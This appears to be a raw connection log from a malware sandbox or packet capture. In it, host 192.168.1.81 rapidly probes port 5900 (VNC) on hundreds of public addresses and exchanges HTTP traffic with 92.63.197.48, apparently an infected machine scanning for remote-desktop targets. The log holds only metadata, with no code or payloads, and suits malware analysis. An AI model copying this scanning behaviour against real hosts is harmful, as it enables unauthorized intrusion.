Oct 30, 2018 14:45:09.318737984 CET	51349	5900	192.168.1.81	133.158.59.45
Oct 30, 2018 14:45:09.319528103 CET	5900	51429	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:09.319870949 CET	51429	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:09.324549913 CET	53	60488	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:09.339828014 CET	51447	5900	192.168.1.81	101.169.171.73
Oct 30, 2018 14:45:09.350109100 CET	51350	5900	192.168.1.81	143.79.174.180
Oct 30, 2018 14:45:09.365787983 CET	51351	5900	192.168.1.81	206.168.109.56
Oct 30, 2018 14:45:09.377981901 CET	51448	5900	192.168.1.81	144.97.87.163
Oct 30, 2018 14:45:09.427784920 CET	51352	5900	192.168.1.81	47.210.18.246
Oct 30, 2018 14:45:09.433968067 CET	51449	5900	192.168.1.81	81.132.98.144
Oct 30, 2018 14:45:09.459212065 CET	51353	5900	192.168.1.81	72.143.117.95
Oct 30, 2018 14:45:09.464528084 CET	51450	5900	192.168.1.81	198.27.63.185
Oct 30, 2018 14:45:09.495848894 CET	51451	5900	192.168.1.81	114.222.52.16
Oct 30, 2018 14:45:09.506288052 CET	51354	5900	192.168.1.81	54.63.49.248
Oct 30, 2018 14:45:09.527192116 CET	51452	5900	192.168.1.81	38.48.149.183
Oct 30, 2018 14:45:09.553291082 CET	51355	5900	192.168.1.81	134.196.80.143
Oct 30, 2018 14:45:09.553365946 CET	51356	5900	192.168.1.81	134.38.151.108
Oct 30, 2018 14:45:09.559145927 CET	51453	5900	192.168.1.81	206.148.158.160
Oct 30, 2018 14:45:09.580286026 CET	5900	51429	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:09.580693007 CET	51429	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:09.582564116 CET	5900	51429	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:09.582719088 CET	51429	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:09.591862917 CET	51454	5900	192.168.1.81	66.214.21.140
Oct 30, 2018 14:45:09.619492054 CET	51455	5900	192.168.1.81	45.93.91.81
Oct 30, 2018 14:45:09.630781889 CET	51358	5900	192.168.1.81	119.160.91.145
Oct 30, 2018 14:45:09.651037931 CET	51456	5900	192.168.1.81	81.92.188.89
Oct 30, 2018 14:45:09.662116051 CET	51359	5900	192.168.1.81	146.106.21.214
Oct 30, 2018 14:45:09.677819014 CET	51360	5900	192.168.1.81	82.139.198.74
Oct 30, 2018 14:45:09.682847977 CET	51457	5900	192.168.1.81	144.237.105.68
Oct 30, 2018 14:45:09.709177017 CET	51361	5900	192.168.1.81	40.165.52.207
Oct 30, 2018 14:45:09.714001894 CET	51458	5900	192.168.1.81	34.174.113.165
Oct 30, 2018 14:45:09.740549088 CET	51362	5900	192.168.1.81	119.112.2.180
Oct 30, 2018 14:45:09.745702982 CET	51459	5900	192.168.1.81	174.226.64.210
Oct 30, 2018 14:45:09.771887064 CET	51363	5900	192.168.1.81	62.120.121.175
Oct 30, 2018 14:45:09.777141094 CET	51460	5900	192.168.1.81	33.80.87.187
Oct 30, 2018 14:45:09.811903000 CET	51461	5900	192.168.1.81	48.190.83.175
Oct 30, 2018 14:45:09.818984985 CET	51364	5900	192.168.1.81	45.10.149.81
Oct 30, 2018 14:45:09.830091000 CET	54147	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:09.833817005 CET	51365	5900	192.168.1.81	124.124.26.233
Oct 30, 2018 14:45:09.837191105 CET	51462	5900	192.168.1.81	134.94.120.159
Oct 30, 2018 14:45:09.863439083 CET	53	54147	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:09.865192890 CET	51366	5900	192.168.1.81	141.205.187.67
Oct 30, 2018 14:45:09.892836094 CET	51463	5900	192.168.1.81	31.246.89.169
Oct 30, 2018 14:45:09.896893978 CET	51367	5900	192.168.1.81	184.68.149.184
Oct 30, 2018 14:45:09.912058115 CET	5900	51303	70.5.99.205	192.168.1.81
Oct 30, 2018 14:45:09.935354948 CET	51464	5900	192.168.1.81	90.168.63.17
Oct 30, 2018 14:45:09.943315029 CET	51368	5900	192.168.1.81	71.140.128.147
Oct 30, 2018 14:45:09.955327988 CET	51465	5900	192.168.1.81	125.151.119.236
Oct 30, 2018 14:45:09.984786034 CET	51466	5900	192.168.1.81	60.214.186.156
Oct 30, 2018 14:45:10.000015974 CET	51369	5900	192.168.1.81	51.4.248.40
Oct 30, 2018 14:45:10.000051022 CET	51370	5900	192.168.1.81	55.162.176.21
Oct 30, 2018 14:45:10.008405924 CET	51467	5900	192.168.1.81	191.233.171.228
Oct 30, 2018 14:45:10.043093920 CET	51468	5900	192.168.1.81	166.32.63.61
Oct 30, 2018 14:45:10.052989960 CET	51371	5900	192.168.1.81	183.68.121.189
Oct 30, 2018 14:45:10.053067923 CET	51372	5900	192.168.1.81	54.51.157.69
Oct 30, 2018 14:45:10.071399927 CET	51469	5900	192.168.1.81	53.59.140.164
Oct 30, 2018 14:45:10.103955984 CET	51470	5900	192.168.1.81	177.146.197.19
Oct 30, 2018 14:45:10.136553049 CET	51471	5900	192.168.1.81	36.40.221.94
Oct 30, 2018 14:45:10.146440029 CET	51373	5900	192.168.1.81	128.48.223.169
Oct 30, 2018 14:45:10.146495104 CET	51374	5900	192.168.1.81	163.119.170.205
Oct 30, 2018 14:45:10.146528006 CET	51375	5900	192.168.1.81	126.96.58.136
Oct 30, 2018 14:45:10.165009022 CET	51472	5900	192.168.1.81	49.230.42.32
Oct 30, 2018 14:45:10.196311951 CET	51473	5900	192.168.1.81	60.118.238.115
Oct 30, 2018 14:45:10.228183985 CET	51474	5900	192.168.1.81	62.102.178.160
Oct 30, 2018 14:45:10.256217957 CET	51376	5900	192.168.1.81	39.159.47.140
Oct 30, 2018 14:45:10.256305933 CET	51377	5900	192.168.1.81	205.78.107.183
Oct 30, 2018 14:45:10.256341934 CET	51378	5900	192.168.1.81	105.190.164.44
Oct 30, 2018 14:45:10.260618925 CET	51475	5900	192.168.1.81	96.12.202.10
Oct 30, 2018 14:45:10.264178991 CET	5900	51465	125.151.119.236	192.168.1.81
Oct 30, 2018 14:45:10.291327953 CET	51476	5900	192.168.1.81	32.103.231.105
Oct 30, 2018 14:45:10.318856955 CET	51379	5900	192.168.1.81	178.75.44.82
Oct 30, 2018 14:45:10.322781086 CET	51477	5900	192.168.1.81	93.229.55.57
Oct 30, 2018 14:45:10.353458881 CET	51380	5900	192.168.1.81	199.212.214.16
Oct 30, 2018 14:45:10.365505934 CET	51381	5900	192.168.1.81	53.169.90.215
Oct 30, 2018 14:45:10.381827116 CET	51478	5900	192.168.1.81	64.204.60.217
Oct 30, 2018 14:45:10.396445036 CET	51382	5900	192.168.1.81	154.25.153.245
Oct 30, 2018 14:45:10.411616087 CET	51479	5900	192.168.1.81	163.44.138.69
Oct 30, 2018 14:45:10.412210941 CET	51303	5900	192.168.1.81	70.5.99.205
Oct 30, 2018 14:45:10.432636976 CET	51480	5900	192.168.1.81	189.160.6.100
Oct 30, 2018 14:45:10.463563919 CET	51481	5900	192.168.1.81	189.76.70.229
Oct 30, 2018 14:45:10.492841005 CET	51482	5900	192.168.1.81	164.185.72.25
Oct 30, 2018 14:45:10.521899939 CET	51383	5900	192.168.1.81	164.209.90.18
Oct 30, 2018 14:45:10.521987915 CET	51384	5900	192.168.1.81	34.175.136.182
Oct 30, 2018 14:45:10.526422977 CET	51483	5900	192.168.1.81	157.169.10.167
Oct 30, 2018 14:45:10.558418036 CET	51484	5900	192.168.1.81	107.111.70.77
Oct 30, 2018 14:45:10.590739965 CET	51485	5900	192.168.1.81	202.93.212.206
Oct 30, 2018 14:45:10.615189075 CET	51387	5900	192.168.1.81	117.5.140.114
Oct 30, 2018 14:45:10.615267038 CET	51388	5900	192.168.1.81	48.194.82.42
Oct 30, 2018 14:45:10.615295887 CET	51389	5900	192.168.1.81	141.150.166.198
Oct 30, 2018 14:45:10.615322113 CET	51390	5900	192.168.1.81	196.54.145.41
Oct 30, 2018 14:45:10.619725943 CET	51486	5900	192.168.1.81	166.231.118.78
Oct 30, 2018 14:45:10.646560907 CET	51391	5900	192.168.1.81	52.202.161.143
Oct 30, 2018 14:45:10.651580095 CET	51487	5900	192.168.1.81	109.3.21.85
Oct 30, 2018 14:45:10.677908897 CET	51392	5900	192.168.1.81	72.242.28.167
Oct 30, 2018 14:45:10.682171106 CET	51488	5900	192.168.1.81	166.226.48.158
Oct 30, 2018 14:45:10.709239960 CET	51393	5900	192.168.1.81	139.86.33.64
Oct 30, 2018 14:45:10.714411020 CET	51489	5900	192.168.1.81	181.150.134.247
Oct 30, 2018 14:45:10.744636059 CET	51490	5900	192.168.1.81	116.44.185.207
Oct 30, 2018 14:45:10.755812883 CET	51395	5900	192.168.1.81	160.52.95.129
Oct 30, 2018 14:45:10.771547079 CET	51465	5900	192.168.1.81	125.151.119.236
Oct 30, 2018 14:45:10.776810884 CET	51491	5900	192.168.1.81	87.226.104.202
Oct 30, 2018 14:45:10.787177086 CET	51396	5900	192.168.1.81	54.50.246.61
Oct 30, 2018 14:45:10.807499886 CET	51492	5900	192.168.1.81	144.136.159.95
Oct 30, 2018 14:45:10.818425894 CET	51397	5900	192.168.1.81	196.75.51.30
Oct 30, 2018 14:45:10.834100008 CET	51398	5900	192.168.1.81	90.164.73.89
Oct 30, 2018 14:45:10.838002920 CET	51493	5900	192.168.1.81	58.132.120.104
Oct 30, 2018 14:45:10.865506887 CET	51399	5900	192.168.1.81	91.175.38.174
Oct 30, 2018 14:45:10.870677948 CET	51494	5900	192.168.1.81	147.67.221.171
Oct 30, 2018 14:45:10.896914005 CET	51400	5900	192.168.1.81	154.212.144.76
Oct 30, 2018 14:45:10.902343988 CET	51495	5900	192.168.1.81	148.240.197.173
Oct 30, 2018 14:45:10.928174973 CET	51401	5900	192.168.1.81	99.26.161.114
Oct 30, 2018 14:45:10.959561110 CET	51402	5900	192.168.1.81	51.241.91.80
Oct 30, 2018 14:45:10.966141939 CET	51496	5900	192.168.1.81	55.155.80.252
Oct 30, 2018 14:45:10.992896080 CET	51497	5900	192.168.1.81	200.33.29.115
Oct 30, 2018 14:45:11.005858898 CET	51403	5900	192.168.1.81	34.53.215.153
Oct 30, 2018 14:45:11.021509886 CET	51405	5900	192.168.1.81	112.106.231.59
Oct 30, 2018 14:45:11.030390024 CET	51498	5900	192.168.1.81	137.159.122.160
Oct 30, 2018 14:45:11.057446003 CET	51499	5900	192.168.1.81	62.132.12.244
Oct 30, 2018 14:45:11.059766054 CET	5900	51495	148.240.197.173	192.168.1.81
Oct 30, 2018 14:45:11.068465948 CET	51406	5900	192.168.1.81	34.221.7.41
Oct 30, 2018 14:45:11.078049898 CET	5900	51465	125.151.119.236	192.168.1.81
Oct 30, 2018 14:45:11.084233046 CET	51407	5900	192.168.1.81	31.179.15.184
Oct 30, 2018 14:45:11.088918924 CET	51500	5900	192.168.1.81	33.130.203.175
Oct 30, 2018 14:45:11.115648031 CET	51408	5900	192.168.1.81	107.110.8.248
Oct 30, 2018 14:45:11.146977901 CET	51409	5900	192.168.1.81	66.156.122.134
Oct 30, 2018 14:45:11.156296015 CET	51501	5900	192.168.1.81	151.126.249.14
Oct 30, 2018 14:45:11.180735111 CET	51502	5900	192.168.1.81	36.199.124.240
Oct 30, 2018 14:45:11.208966017 CET	51410	5900	192.168.1.81	39.158.47.59
Oct 30, 2018 14:45:11.209000111 CET	51411	5900	192.168.1.81	159.184.173.203
Oct 30, 2018 14:45:11.212472916 CET	51503	5900	192.168.1.81	200.228.83.112
Oct 30, 2018 14:45:11.243316889 CET	51504	5900	192.168.1.81	143.252.90.23
Oct 30, 2018 14:45:11.268877983 CET	51412	5900	192.168.1.81	125.113.251.28
Oct 30, 2018 14:45:11.275444031 CET	51505	5900	192.168.1.81	175.9.102.123
Oct 30, 2018 14:45:11.309737921 CET	51506	5900	192.168.1.81	121.185.122.74
Oct 30, 2018 14:45:11.333889008 CET	51413	5900	192.168.1.81	156.84.220.119
Oct 30, 2018 14:45:11.333939075 CET	51414	5900	192.168.1.81	87.180.155.101
Oct 30, 2018 14:45:11.337722063 CET	51507	5900	192.168.1.81	137.66.9.110
Oct 30, 2018 14:45:11.369959116 CET	51508	5900	192.168.1.81	120.78.128.134
Oct 30, 2018 14:45:11.372365952 CET	5900	51394	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:11.373617887 CET	51509	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:11.397692919 CET	51510	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:11.401592016 CET	51511	5900	192.168.1.81	170.247.163.90
Oct 30, 2018 14:45:11.428082943 CET	51415	5900	192.168.1.81	75.249.153.57
Oct 30, 2018 14:45:11.428162098 CET	51416	5900	192.168.1.81	70.15.56.189
Oct 30, 2018 14:45:11.428189993 CET	51417	5900	192.168.1.81	91.11.199.249
Oct 30, 2018 14:45:11.428208113 CET	51418	5900	192.168.1.81	34.158.153.241
Oct 30, 2018 14:45:11.431962013 CET	51512	5900	192.168.1.81	105.24.251.254
Oct 30, 2018 14:45:11.464813948 CET	51513	5900	192.168.1.81	54.64.87.238
Oct 30, 2018 14:45:11.493457079 CET	51514	5900	192.168.1.81	202.42.48.47
Oct 30, 2018 14:45:11.526348114 CET	51515	5900	192.168.1.81	70.14.104.84
Oct 30, 2018 14:45:11.537204981 CET	51419	5900	192.168.1.81	142.102.101.246
Oct 30, 2018 14:45:11.537266016 CET	51420	5900	192.168.1.81	68.166.21.81
Oct 30, 2018 14:45:11.537290096 CET	51421	5900	192.168.1.81	209.154.168.225
Oct 30, 2018 14:45:11.592236996 CET	51516	5900	192.168.1.81	180.243.130.150
Oct 30, 2018 14:45:11.619710922 CET	51517	5900	192.168.1.81	83.80.182.241
Oct 30, 2018 14:45:11.631428003 CET	51422	5900	192.168.1.81	118.206.79.19
Oct 30, 2018 14:45:11.631552935 CET	51495	5900	192.168.1.81	148.240.197.173
Oct 30, 2018 14:45:11.631619930 CET	51465	5900	192.168.1.81	125.151.119.236
Oct 30, 2018 14:45:11.631675959 CET	51423	5900	192.168.1.81	167.52.223.19
Oct 30, 2018 14:45:11.631727934 CET	51424	5900	192.168.1.81	154.240.202.213
Oct 30, 2018 14:45:11.651844025 CET	51518	5900	192.168.1.81	62.108.72.157
Oct 30, 2018 14:45:11.674366951 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:11.674588919 CET	51510	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:11.682364941 CET	51519	5900	192.168.1.81	183.75.126.241
Oct 30, 2018 14:45:11.704495907 CET	5900	51509	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:11.704674006 CET	51509	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:11.712398052 CET	51520	5900	192.168.1.81	163.61.182.60
Oct 30, 2018 14:45:11.724462032 CET	51425	5900	192.168.1.81	162.13.51.199
Oct 30, 2018 14:45:11.724529028 CET	51426	5900	192.168.1.81	208.53.37.126
Oct 30, 2018 14:45:11.744638920 CET	51521	5900	192.168.1.81	88.23.45.23
Oct 30, 2018 14:45:11.776199102 CET	51522	5900	192.168.1.81	204.96.78.69
Oct 30, 2018 14:45:11.788882017 CET	5900	51495	148.240.197.173	192.168.1.81
Oct 30, 2018 14:45:11.807609081 CET	51523	5900	192.168.1.81	64.191.184.147
Oct 30, 2018 14:45:11.834240913 CET	51427	5900	192.168.1.81	31.87.131.35
Oct 30, 2018 14:45:11.834342957 CET	51428	5900	192.168.1.81	111.108.239.206
Oct 30, 2018 14:45:11.834384918 CET	51430	5900	192.168.1.81	56.239.151.21
Oct 30, 2018 14:45:11.834417105 CET	51431	5900	192.168.1.81	50.34.45.98
Oct 30, 2018 14:45:11.839605093 CET	51524	5900	192.168.1.81	149.138.26.57
Oct 30, 2018 14:45:11.871685028 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.874278069 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.877254009 CET	51526	5900	192.168.1.81	58.59.13.159
Oct 30, 2018 14:45:11.881194115 CET	51432	5900	192.168.1.81	154.185.233.61
Oct 30, 2018 14:45:11.901108980 CET	51527	5900	192.168.1.81	206.177.128.131
Oct 30, 2018 14:45:11.912561893 CET	51433	5900	192.168.1.81	198.146.205.119
Oct 30, 2018 14:45:11.928296089 CET	51434	5900	192.168.1.81	95.89.195.18
Oct 30, 2018 14:45:11.928383112 CET	80	49253	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.928524017 CET	49253	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.929143906 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.929295063 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.931699038 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.936440945 CET	51528	5900	192.168.1.81	55.1.133.125
Oct 30, 2018 14:45:11.947299957 CET	5900	51465	125.151.119.236	192.168.1.81
Oct 30, 2018 14:45:11.966521978 CET	51529	5900	192.168.1.81	147.50.94.60
Oct 30, 2018 14:45:11.974466085 CET	51435	5900	192.168.1.81	177.106.223.238
Oct 30, 2018 14:45:11.981190920 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:11.981458902 CET	5900	51510	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:11.981676102 CET	51510	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:11.986803055 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.986928940 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.986984968 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987035036 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987083912 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.987096071 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987128973 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987159014 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987189054 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987219095 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987257004 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987288952 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:11.987323046 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.987819910 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.992782116 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.992878914 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:11.994759083 CET	51530	5900	192.168.1.81	33.179.183.142
Oct 30, 2018 14:45:11.999932051 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.005695105 CET	51436	5900	192.168.1.81	174.73.186.160
Oct 30, 2018 14:45:12.005737066 CET	51246	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.025365114 CET	51532	5900	192.168.1.81	72.245.123.140
Oct 30, 2018 14:45:12.036987066 CET	51437	5900	192.168.1.81	59.123.173.242
Oct 30, 2018 14:45:12.042125940 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042246103 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042265892 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042288065 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042326927 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042359114 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042372942 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042377949 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042404890 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042434931 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042453051 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042464972 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042473078 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042488098 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042496920 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042526960 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042556047 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042577028 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042586088 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042598009 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042613983 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042628050 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042692900 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042711020 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042754889 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042802095 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042825937 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042856932 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042896986 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042897940 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042920113 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042927980 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.042988062 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.042989969 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.043006897 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.043030977 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.043061972 CET	80	51525	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.043095112 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.043112993 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.043174028 CET	51525	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.053390026 CET	5900	51246	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.053484917 CET	51246	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.055741072 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.055778027 CET	51533	5900	192.168.1.81	63.208.7.115
Oct 30, 2018 14:45:12.055846930 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.068322897 CET	51438	5900	192.168.1.81	195.157.250.244
Oct 30, 2018 14:45:12.070408106 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.084041119 CET	51439	5900	192.168.1.81	176.134.32.40
Oct 30, 2018 14:45:12.087795973 CET	51534	5900	192.168.1.81	197.60.75.145
Oct 30, 2018 14:45:12.101223946 CET	5900	51246	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.102251053 CET	51535	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.115489960 CET	51440	5900	192.168.1.81	47.208.83.149
Oct 30, 2018 14:45:12.123181105 CET	51536	5900	192.168.1.81	187.254.17.64
Oct 30, 2018 14:45:12.125459909 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.126921892 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.126956940 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.126979113 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127002001 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127026081 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127049923 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127095938 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127120972 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127146006 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127151012 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.127370119 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.127522945 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.146615982 CET	51441	5900	192.168.1.81	115.144.249.112
Oct 30, 2018 14:45:12.147442102 CET	5900	51535	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.147543907 CET	51535	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.149360895 CET	51537	5900	192.168.1.81	90.222.249.220
Oct 30, 2018 14:45:12.177974939 CET	51442	5900	192.168.1.81	33.35.19.11
Oct 30, 2018 14:45:12.182053089 CET	51538	5900	192.168.1.81	40.223.227.187
Oct 30, 2018 14:45:12.182179928 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182223082 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182326078 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.182353973 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182423115 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.182518005 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182569981 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182585955 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.182595015 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182619095 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182667971 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182693005 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182718039 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182733059 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.182740927 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182791948 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182816982 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182857990 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182883024 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182912111 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182935953 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182945013 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.182960033 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.182984114 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.183015108 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.183113098 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.184515953 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.192986965 CET	5900	51535	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:12.194417953 CET	51539	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:12.209306002 CET	51443	5900	192.168.1.81	62.200.222.186
Oct 30, 2018 14:45:12.212642908 CET	51540	5900	192.168.1.81	140.55.210.122
Oct 30, 2018 14:45:12.237201929 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237248898 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237271070 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237296104 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237315893 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237345934 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.237433910 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.238625050 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238682032 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238691092 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.238711119 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238756895 CET	80	51531	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:12.238787889 CET	51531	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:12.238790035 CET	80	51531	92.63.197.48	192.168.1.81
